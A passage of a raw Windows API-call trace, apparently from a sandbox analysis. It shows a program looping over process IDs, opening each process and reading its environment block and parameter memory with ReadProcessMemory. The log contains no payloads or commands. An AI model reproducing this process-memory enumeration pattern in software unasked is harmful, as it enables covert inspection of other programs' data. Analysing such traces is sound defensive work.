_ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0270.409] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xde0) returned 0x464 [0270.409] GetLastError () returned 0x0 [0270.410] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0270.410] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2e1018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0270.410] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0270.410] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c1cf0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0270.411] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c18f8, lpBuffer=0x670f7c2b0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0270.412] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0270.413] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0270.413] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2e1020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0270.413] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0270.414] malloc (_Size=0x74) returned 0x196ef0d31b0 [0270.414] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c1964, lpBuffer=0x196ef0d31b0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0270.415] free (_Block=0x196ef0d31b0) [0270.415] CloseHandle (hObject=0x464) returned 1 [0270.416] _ui64tow_s (in: _Value=0xde8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3560") returned 0x0 [0270.420] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3560") returned 4 [0270.421] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0270.422] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0270.443] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xde8) returned 0x464 [0270.443] GetLastError () returned 0x0 [0270.444] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0270.444] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x56f018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0270.444] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0270.445] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x221d10, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0270.445] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2218f8, lpBuffer=0x670f7c2b0, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0270.446] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0270.448] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0270.448] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x56f020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0270.448] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2212e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0270.448] malloc (_Size=0x80) returned 0x196ef0fa4e0 [0270.449] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x221970, lpBuffer=0x196ef0fa4e0, nSize=0x7e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fa4e0*, lpNumberOfBytesRead=0x0) returned 1 [0270.449] free (_Block=0x196ef0fa4e0) [0270.450] CloseHandle (hObject=0x464) returned 1 [0270.451] _ui64tow_s (in: _Value=0xdf8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3576") returned 0x0 [0270.457] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3576") returned 4 [0270.458] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0270.458] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0270.515] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xdf8) returned 0x464 [0270.515] GetLastError () returned 0x0 [0270.516] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0270.516] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x359018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0270.516] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0270.517] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x531d40, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0270.517] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5318f8, lpBuffer=0x670f7c2b0, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0270.518] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0270.520] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0270.520] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x359020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0270.520] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5312e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0270.521] malloc (_Size=0x8c) returned 0x196ef0d5a00 [0270.521] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x53197c, lpBuffer=0x196ef0d5a00, nSize=0x8a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d5a00*, lpNumberOfBytesRead=0x0) returned 1 [0270.521] free (_Block=0x196ef0d5a00) [0270.606] CloseHandle (hObject=0x464) returned 1 [0270.607] _ui64tow_s (in: _Value=0xe00, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3584") returned 0x0 [0270.614] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3584") returned 4 [0270.615] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0270.616] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0270.676] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe00) returned 0x464 [0270.676] GetLastError () returned 0x0 [0270.677] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0270.677] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x212018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0270.677] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0270.678] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x591cf0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0270.678] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5918f8, lpBuffer=0x670f7c2b0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0270.680] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0270.682] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0270.682] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x212020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0270.682] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5912e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0270.683] malloc (_Size=0x72) returned 0x196ef0d31b0 [0270.683] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x591962, lpBuffer=0x196ef0d31b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0270.683] free (_Block=0x196ef0d31b0) [0270.684] CloseHandle (hObject=0x464) returned 1 [0270.685] _ui64tow_s (in: _Value=0xe10, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3600") returned 0x0 [0270.691] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3600") returned 4 [0270.692] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0270.692] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0270.742] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe10) returned 0x464 [0270.742] GetLastError () returned 0x0 [0270.742] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0270.742] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x302018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0270.743] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0270.743] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x191cc0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0270.743] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1918f8, lpBuffer=0x670f7c2b0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0270.745] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0270.746] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0270.746] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x302020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0270.747] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1912e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0270.747] malloc (_Size=0x64) returned 0x196ef0d0680 [0270.747] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x191954, lpBuffer=0x196ef0d0680, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0680*, lpNumberOfBytesRead=0x0) returned 1 [0270.748] free (_Block=0x196ef0d0680) [0270.748] CloseHandle (hObject=0x464) returned 1 [0270.749] _ui64tow_s (in: _Value=0xe18, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3608") returned 0x0 [0270.755] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3608") returned 4 [0270.757] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0270.757] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0270.802] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe18) returned 0x464 [0270.802] GetLastError () returned 0x0 [0270.802] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0270.802] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x36b018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0270.803] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0270.803] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x451d80, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0270.803] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4518f8, lpBuffer=0x670f7c2b0, nSize=0x9a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0270.804] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0270.806] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0270.806] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x36b020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0270.806] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4512e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0270.806] malloc (_Size=0xa2) returned 0x196ef0d7280 [0270.806] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x451992, lpBuffer=0x196ef0d7280, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d7280*, lpNumberOfBytesRead=0x0) returned 1 [0270.807] free (_Block=0x196ef0d7280) [0270.808] CloseHandle (hObject=0x464) returned 1 [0270.808] _ui64tow_s (in: _Value=0xe28, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3624") returned 0x0 [0270.813] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3624") returned 4 [0270.814] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0270.814] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0270.832] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe28) returned 0x464 [0270.833] GetLastError () returned 0x0 [0270.833] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0270.833] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x470018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0270.834] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0270.834] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f1d40, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0270.834] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f18f8, lpBuffer=0x670f7c2b0, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0270.854] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0270.855] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0270.855] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x470020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0270.855] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0270.856] malloc (_Size=0x8c) returned 0x196ef0d5820 [0270.856] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f197c, lpBuffer=0x196ef0d5820, nSize=0x8a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d5820*, lpNumberOfBytesRead=0x0) returned 1 [0270.856] free (_Block=0x196ef0d5820) [0270.857] CloseHandle (hObject=0x464) returned 1 [0270.858] _ui64tow_s (in: _Value=0xe30, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3632") returned 0x0 [0270.862] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3632") returned 4 [0270.864] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0270.864] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0270.900] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe30) returned 0x464 [0270.900] GetLastError () returned 0x0 [0270.900] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0270.900] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x32e018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0270.901] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0270.901] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5d1ce0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0270.901] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5d18f8, lpBuffer=0x670f7c2b0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0270.902] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0270.904] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0270.904] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x32e020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0270.904] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5d12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0270.904] malloc (_Size=0x6e) returned 0x196ef0d31b0 [0270.904] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5d195e, lpBuffer=0x196ef0d31b0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0270.905] free (_Block=0x196ef0d31b0) [0270.906] CloseHandle (hObject=0x464) returned 1 [0270.906] _ui64tow_s (in: _Value=0xe40, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3648") returned 0x0 [0270.911] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3648") returned 4 [0270.912] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: 